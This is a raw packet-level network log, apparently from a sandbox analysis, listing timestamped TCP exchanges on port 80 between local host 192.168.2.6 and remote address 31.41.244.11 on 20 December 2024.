Dec 20, 2024 21:13:36.380058050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.380117893 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.380181074 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.384149075 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.384217978 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.384247065 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.384291887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.388428926 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.388477087 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.388577938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.388622046 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.392771959 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.392832041 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.392893076 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.392936945 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.397090912 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.397166014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.397172928 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.397253990 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.401356936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.401415110 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.401443958 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.401493073 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.405678988 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.405725956 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.405726910 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.405807972 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.409962893 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.410105944 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.410202980 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.410521030 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.414289951 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.414338112 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.414539099 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.414608955 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.418632984 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.418670893 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.418720007 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.422842979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.422892094 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.422938108 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.427217007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.427274942 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.427369118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.427438974 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.431534052 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.431581974 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.431632042 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.435075998 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.435179949 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.435215950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.435265064 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.438563108 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.438671112 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.438721895 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.442065954 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.442110062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.442167044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.442274094 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.445662022 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.445713997 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.445805073 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.445852041 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.449127913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.449261904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.449295044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.449657917 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.452656031 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.452718019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.452811956 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.452866077 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.456168890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.456294060 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.456299067 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.456345081 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.459721088 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.459810972 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.459841013 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.459856033 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.493366003 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.493426085 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.493432045 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.493472099 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.565551043 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.565608025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.565701962 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.565747023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.566901922 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.566991091 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.567037106 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.569556952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.569610119 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.570444107 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.570586920 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.570657969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.571046114 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.573096991 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.573152065 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.573210955 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.573370934 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.575815916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.575918913 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.575987101 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.576029062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.578331947 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.578375101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.578463078 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.578561068 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.580835104 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.580887079 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.580962896 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.581120968 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.583355904 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.583425999 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.583467007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.583507061 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.585937977 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.585985899 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.586074114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.586117029 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.588219881 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.588275909 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.588315010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.588360071 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.590657949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.590718985 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.590790987 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.590835094 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.593079090 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.593126059 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.593163013 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.593210936 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.595418930 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.595462084 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.595501900 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.595545053 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.597821951 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.597882032 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.597939968 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.598001003 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.600219011 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.600282907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.600318909 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.600446939 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.602679014 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.602725983 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.602781057 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.602824926 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.604983091 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.605038881 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.605169058 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.605245113 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.607455969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.607511044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.607538939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.607582092 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.609853029 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.609905958 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.609982967 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.610018015 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.612276077 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.612339020 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.612373114 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.612385988 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.614578009 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.614655018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.614670038 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.614692926 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.616977930 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.617029905 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.617108107 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.617149115 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.619385958 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.619435072 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.619585037 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.619673014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.621166945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.621212959 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.621252060 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.621289015 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.622997046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.623070955 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.623075008 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.623172045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.624712944 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.624763012 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.624802113 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.624958992 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.626537085 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.626636028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.626672983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.626756907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.628300905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.628340006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.628417015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.628457069 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.630080938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.630136013 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.630177975 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.630213976 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.631875992 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.631922007 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.631959915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.632028103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.633650064 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.633697987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.633779049 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.633824110 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.635421038 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.635468960 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.635535955 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.635584116 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.637265921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.637325048 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.637342930 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.637378931 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.639058113 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.639103889 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.639146090 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.639203072 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.757513046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.757592916 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.757599115 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.757658005 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.758281946 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.758301020 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.758323908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.758347034 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.759715080 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.759756088 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.759932041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.760365963 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.761193037 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.761235952 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.761341095 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.761380911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.762662888 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.762713909 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.762787104 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.762828112 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.764153957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.764205933 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.764283895 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.764754057 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.765616894 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.765664101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.765731096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.765889883 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.767091990 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.767175913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.767230988 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.768591881 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.768639088 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.768663883 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.768701077 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.770061970 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.770128012 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.770172119 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.770220995 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.771559000 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.771647930 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.771661043 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.771696091 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.773006916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.773046970 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.773118019 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.773262024 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.774496078 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.774533987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.774604082 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.775041103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.775998116 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.776038885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.776122093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.776830912 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.777501106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.777549982 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.777606010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.777645111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.778915882 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.779007912 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.779032946 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.779069901 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.780443907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.780483961 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.780577898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.780612946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.781996965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.782041073 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.782080889 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.782116890 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.783360958 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.783401012 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.783533096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.784374952 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.784838915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.784879923 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.784946918 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.784981966 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.786309958 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.786354065 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.786418915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.786454916 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.787851095 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.787898064 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.787950039 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.788034916 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.789388895 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.789432049 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.789491892 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.789539099 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.790764093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.790806055 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.790869951 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.790909052 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.792344093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.792397976 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.792412043 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.792447090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.793797970 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.793843031 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.793872118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.794050932 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.795236111 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.795403957 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.795466900 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.795507908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.796688080 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.796739101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.796799898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.796838045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.798218966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.798269987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.798327923 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.798384905 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.799732924 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.799798012 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.799819946 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.799856901 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.801153898 CET	80	49920	31.41.244.11	192.168.2.6
